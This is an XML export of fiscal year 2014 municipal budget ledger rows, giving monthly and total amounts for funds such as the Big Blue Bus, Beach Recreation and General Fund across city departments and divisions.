<row _id="12628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402940.0</object><object_description>BEACH CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-7500.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7500.0</total></row>
<row _id="12629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555013.0</object><object_description>OUTSIDE REPAIRS - SHOP EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>67855.0</july><august>0</august><september>0</september><october>0</october><november>66319</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>134174.0</total></row>
<row _id="12630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>615.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>615.0</total></row>
<row _id="12631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-504300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-504300.0</total></row>
<row _id="12632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402030.0</object><object_description>CAROUSEL OPERATION</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-255000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-255000.0</total></row>
<row _id="12633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>296844.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>296844.0</total></row>
<row _id="12634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13828.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>708.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14536.0</total></row>
<row _id="12635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49694.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49694.0</total></row>
<row _id="12636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>783.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>208.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>991.33</total></row>
<row _id="12637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>125.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>665.0</total></row>
<row _id="12638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>863.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>395.83</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1258.83</total></row>
<row _id="12639"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2650.0</total></row>
<row _id="12640"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17323.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17323.0</total></row>
<row _id="12641"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>194080.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194080.0</total></row>
<row _id="12642"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="12643"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2883.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2883.0</total></row>
<row _id="12644"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER OUT TO HOUSING FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>265790.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>181000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446790.0</total></row>
<row _id="12645"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561114.0</object><object_description>OPCC DAYBREAK-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1900.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1900.0</total></row>
<row _id="12646"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-DISBLD (SMARS)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="12647"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-YOUTH</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51600.0</total></row>
<row _id="12648"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408570.0</object><object_description>BIKESHARE AQMD GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-500000</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="12649"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1010.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1010.0</total></row>
<row _id="12650"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>190.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>190.0</total></row>
<row _id="12651"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="12652"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>377665</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>377665.0</total></row>
<row _id="12653"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>401700.0</object><object_description>CIVIC AUDITORIUM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-154800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>154800</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12654"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7925.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>165</december><january>2218.97</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10308.97</total></row>
<row _id="12655"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>676826.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-675.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>676151.0</total></row>
<row _id="12656"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="12657"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="12658"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21649.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21649.0</total></row>
<row _id="12659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>177984.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>177984.0</total></row>
<row _id="12660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>72.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="12661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="12662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="12663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>577260.0</object><object_description>SENIOR HOUSING VOUCHER PRG</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>350000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>350000.0</total></row>
<row _id="12664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408360.0</object><object_description>SUCCESSOR AGENCY ADMIN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-772813.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-772813.0</total></row>
<row _id="12665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="12666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-285600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-285600.0</total></row>
<row _id="12667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>410050.0</object><object_description>SCE OBF INCTV</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-144977.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-144977.0</total></row>
<row _id="12668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522560.0</object><object_description>DOWNTOWN ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>54694.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54694.0</total></row>
<row _id="12669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1616.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1616.0</total></row>
<row _id="12670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>282414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>7614</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>290028.0</total></row>
<row _id="12671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>62685.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62685.0</total></row>
<row _id="12672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1738.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="12673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-13216.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13216.0</total></row>
<row _id="12674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>960.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>960.0</total></row>
